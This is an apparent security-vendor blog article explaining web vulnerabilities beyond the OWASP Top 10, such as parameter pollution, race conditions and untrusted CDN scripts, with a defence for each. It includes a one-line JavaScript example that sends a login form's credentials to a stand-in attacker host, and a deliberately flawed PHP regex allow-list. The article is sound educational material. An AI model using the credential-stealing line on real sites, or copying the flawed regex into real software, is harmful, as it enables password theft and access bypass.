The OWASP Top10

The OWASP Top 10 is a fantastic resource for web application developers and security engineers. It helps to raise the profile of web application security, promoting greater security awareness amongst and enabling conversations between developers and managers by providing an easily digestible summary of common risks. It outlines the top 10 web application security risks facing most organisations, containing well-known examples such as Cross-Site Scripting (XSS). The selection of the top 10 vulnerabilities is performed as objectively as possible using calculations based on the OWASP Risk Rating Methodology picked according to a vulnerability’s typical exploitability, prevalence, detectability and impact during observed or reported instances.

The OWASP Top 10 has steadily embedded itself within the industry to become adopted as the de facto application security standard for smaller organisations and is a common frame of reference within many web application security programs – for most, the OWASP Top 10 is a great start on the application security journey.

However, the OWASP Top 10 is often criticised for being too narrow in scope and for “neglecting the long tail” of other risks. The fear amongst some is that if controls and measures such as security training cover only vulnerabilities listed in the OWASP Top 10, and go no further, that an organisation may consider web application security to be “mission complete”, despite the vulnerabilities covered representing just a tiny fraction of those observed. The criticism is largely unwarranted given that the Top 10 project is not designed to be comprehensive or prescriptive – the OWASP Foundation produce an Application Security Verification Standard (ASVS) if a true standard is required – but rather to stimulate discussion and awareness of security risks.

What else is out there?

Best practice advice from OWASP and others is for software development teams and managers to create an application security program that is compatible with the organisation’s culture and technology. That means looking beyond the OWASP Top 10 when considering web application security. Even severe software weaknesses may not present a serious risk if there are no threat agents in a position to perform the necessary attack or the business impact is negligible for the assets involved. And conversely, there may be risks that an organisation has not considered that provide critical threats to their web estate.

So in the interests of highlighting other potential risks to an organisation’s web estate – and why it pays to look beyond just the OWASP Top 10 coverage when making decisions on security tool and vendor selection – we’ll pick a few critical, interesting or just plain bizarre vulnerabilities not included in OWASP Top 10 and see how they could impact you.

Many of these vulnerabilities arise from delving into the OWASP project, drawing on Top10 “release candidates” to see other risks proposed for inclusion but that didn’t make the final cut during voting, as well as current OWASP  lists of “alternative risks to consider”, and personal experience. Many of these risks will be referred to by their  Common Weakness Enumeration (CWE)  designation – a curated list of over 800 software and hardware weaknesses types created via community initiative aimed at creating specific and succinct definitions that capture the specific effects, behaviours, exploit mechanisms, and implementation details of vulnerabilities observed “in the wild”.

“Chicken Bits”

More formally known as “Inclusion of Undocumented Features”, CWE-1242 refers to the inclusion of undocumented features that can provide weaknesses such as privilege access. A form of “security through obscurity”, the name comes from a historical use of so-called “chicken bits” on hardware chips that can be used to disable certain functional security features, facilitate quick identification and isolation of faulty components, or disable features that negatively affect performance.

In web application security terms, a surprisingly common weakness or anti-pattern seen is to foe developers to add in secret methods such as undocumented cookies that, when received, enable or disable certain behaviour. The intention by developers is to use these themselves only, and that since these secret cookies are undocumented, those outside the business will not be aware of them. However, if internal documentation is leaked, employees leave the business with ill-will, or the cookie accidentally set, then an attacker can exploit these “chicken bits” to gain unauthorized access to systems or features.

It is critical that if any such features are added during development, they are removed before reaching production.

Parameter Pollution

CWE-235, known as “HTTP parameter pollution” is a class of vulnerabilities based on the inconsistent way in which systems, services, hardware and software handle cases in which they receive multiple HTTP parameters that have the same name, but different value.

Variants can include multiple cookies with the same name, or multiple POST variables, or URL query string parameters with the same name. Despite the RFCs generally defining expected behaviour in these instances, failure to adequately follow RFCs when implementing systems can lead to inconsistent or anomalous behaviour.

In the following examples, the parameter “id” is set twice, to both “123” and “321”

https:/www.example.com/viewrecords?id=123&login=true&id=321

The danger in this comes when different systems in the request, or different functions within the same system, de-duplicate this in different ways and end up resolving the ID to different values. For example, an IDOR attack could be performed if the first id was resolved during authorization function, and the second selected during record access selection.

The most robust defence for Parameter Pollution is to actively validate the number of instances of a parameter and reject the request entirely if any parameters are duplicated. If this is not feasible, duplicated parameters should be removed by the first processor of the request to ensure that all subsequent processors utilise the same parameter value.

Overly Permissive Regular Expressions

Classified as CWE-185 “Incorrect Regular Expression”, this vulnerability relates to a general broad class of regular expression vulnerabilities. Regular expressions are incredibly powerful, but unless carefully written they may not evaluate strings during comparisons as intended – potential flaws include inability to handle variations including character case, word boundaries and special chars, or performing overly “greedy” matches.

A common example seen in web applications is when a developer attempts to white-list certain domains for access to a product or service using a regex such as:

if (preg_match('/.*requester.com/i', ($_SERVER['HTTP_HOST'])) {
    // access granted
} else {
    // access denied
} 

The intention is to match the allowed domain “requester.com” and all its sub-domains. Looks reasonable? The problem here is that an attacker can register the domain “attacker-requester.com” or “requester.com.attacker.com” which will match as valid, and hence allow the attacker to gain unauthorised access.

It is critical that any regular expressions used for any security related purpose are as simple as possible (since complex expressions are more error prone), and carefully reviewed to ensure that all wildcard characters (“.”) are escaped, the pattern is anchored, and tested to ensure it not only matches expected values but also rejects other values.

Untrusted Spheres

There is an increasing use of third party components such as JavaScript libraries and nodejs modules within our code to provide standard functionality and service interaction. Increasingly developers are opting to load these client-side libraries directly from a third-party CDN or similar, rather than including them in their own codebase. To see why this can lead to a vulnerability, consider if our login webpage included a JavaScript visitor tracking widget from a third party domain:

<form id ="loginForm" name="loginForm" action="login.php" method="post">
Username: <input type="text" name="username" />
Password: <input type="password" name="password" />
<input type="submit" value="Login" /></form>
<script type="text/javascript" src="externalDomain.example.com/tracking.js"></script> 

If an attacker compromised the external domain (or the domain itself is operated by an attacker), then they could add malicious functionality to the script, and our page would duly execute it, allowing an attacker to perform attacks such as XSS. For example, user login information could easily be stolen with a single line added to tracking.js:

document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";

This vulnerability pattern has the ID CWE-829 and is known as “Inclusion of Functionality from Untrusted Control Sphere”.

This vulnerability can be eliminated by only including components from within the code base that have been validated to ensure their correctness and authenticity. However this may not be a suitable solution for the modern web, an alternative is to utilise Subresource Integrity (SRI). SRI is a security feature which enables browsers to validate the resources they fetch are delivered without unexpected manipulation, by comparing a cryptographic hash to that of the resource and rejecting it if the hashes do not match. Note that when using SRI it is critical that the hash is not dynamically calculated by the application, but is instead intentionally controlled by the developer and any change to the remote resource (which causes its hash to change) be considered as a potential attack.

Salts & Hashes

Sometimes vulnerabilities don’t have to be new or cutting edge to present serious risks to web application security. Data breaches continue to show that companies get it wrong with the storing of customer passwords over and over again. Logged in CWE as CWE-922, this is classed as “Insecure Storage of Sensitive Information” – it made it onto the OWASP Top 10 list in 2007 but has since dropped out of the Top 10 as new vulnerabilities have been voted to be greater threats. However, given the continued and ongoing history of data breaches and theft of customer passwords it seems as though many developers are still not storing passwords securely.

The secure storage of passwords really warrants an entire article in its own right, and there are subtle details that need bearing in mind, but in general a strong solution would involve storing the passwords hashed (rather than in plain-text or encrypted) using a strong, modern hashing algorithm (not a CRC algorithm) that is both slow to hash and resistant to collisions, and in which the hash is strongly salted using a long salt and a variable iteration count. Bonus points go to incorporating a true “vault” mechanism with ACLs and leases, using a second authentication factor (2FA/MFA), and ensuring that there is strong logging and monitoring of access.

Race Conditions

Logged under CWE-362, Race Conditions occur when a sequence of actions occur during a transaction in a non-atomic manner, but an attacker is able to interrupt, reverse, insert, pause or otherwise interfere with the expected execution order

For example, imagine a scenario in which a system performs a refund to a user. The flow implemented may use an algorithm something similar to:

1. (Receive request for refund)
2. Check if refund has already been made
3. Send refund
4. Update record to show refund has been made

There is a race condition in that there is a window, however short, in which the system may be willing to make multiple refunds since it performs some processing on step (3) before completing step (4). For example, imagine that an attacker sends two identical HTTP requests in very short order for the same refund, using a script. The system might receive and process these in the below order:

https://www.example.com/refund?customerId=1234&orderId=67890000

https://www.example.com/refund?customerId=1234&orderId=67890000

1. (Receive request for refund) [1]
2. (Receive request for refund) [2]
3. Check if refund has already been made [1]
4. Check if refund has already been made [2]
5. Send refund [1]
6. Send refund [2]
7. Update record to show refund has been made [1]
8. Update record to show refund has been made [2] – ERROR

Even though only one refund was due, the system has refunded double what the customer was due.

Race conditions are often difficult to identify and reproduce due to the requirement to win the race, however their impact can be severe. Preventing this vulnerability requires careful use of synchronisation (i.e. mutex locking), and atomic actions, to ensure that the state has not changed between each step of the algorithm.

“But It’s Internal”

The last example is one that highlights that sometimes a vulnerability doesn’t have to be technically complex, and a developer or manager may be aware of the vulnerability existing, yet not consider it to be a vulnerability. Once such example currently seen in web applications is the concept of “Storage of Sensitive Data in a Mechanism without Access Control” (CWE-921), in which data is stored in a local data store such as Redis or Memcache, both systems in which no authentication is configured by default.

The developer may consider that no authentication or access control is required, since the service is bound to localhost or the local network only and the port/service not exposed to the public internet – it is therefore safe from attackers… right? Unfortunately, attackers love this kind of assumption since it permits them to “weaponize” or chain other vulnerabilities due to a lack of defence in depth.

For example, if they achieve Remote Code Execution on a completely unrelated host on the network, one which doesn’t contain sensitive data, they can nevertheless “pivot” that attack to access the host with the sensitive data store that lacks access control and trivially extract, delete or modify all of its data. Or if the application has a Server Side Request Forgery vulnerability, it could be exploited to proxy access to the unauthenticated services bound to localhost.

Preventing this issue requires that access to all services is carefully controlled using both authentication and authorization. It is then critical that the credentials used to access these services are stored securely intentionally submitted by the application rather than being automatically included.

How can AppCheck Help?

AppCheck performs comprehensive checks for a massive range of web application vulnerabilities from first principle. We don’t just scan for “OWASP Top 10” vulnerabilities, we scan for all major web application security flaws. The AppCheck Vulnerability Analysis Engine provides detailed rationale behind each finding including a custom narrative to explain the detection methodology, verbose technical detail and proof of concept evidence through safe exploitation.

About AppCheck

AppCheck is a software security vendor based in the UK, that offers a leading security scanning platform that automates the discovery of security flaws within organisations websites, applications, network, and cloud infrastructure. Learn more about AppCheck here.

As always, if you require any more information on this topic or want to see what unexpected vulnerabilities AppCheck can pick up in your website and applications then please get in contact with us: info@localhost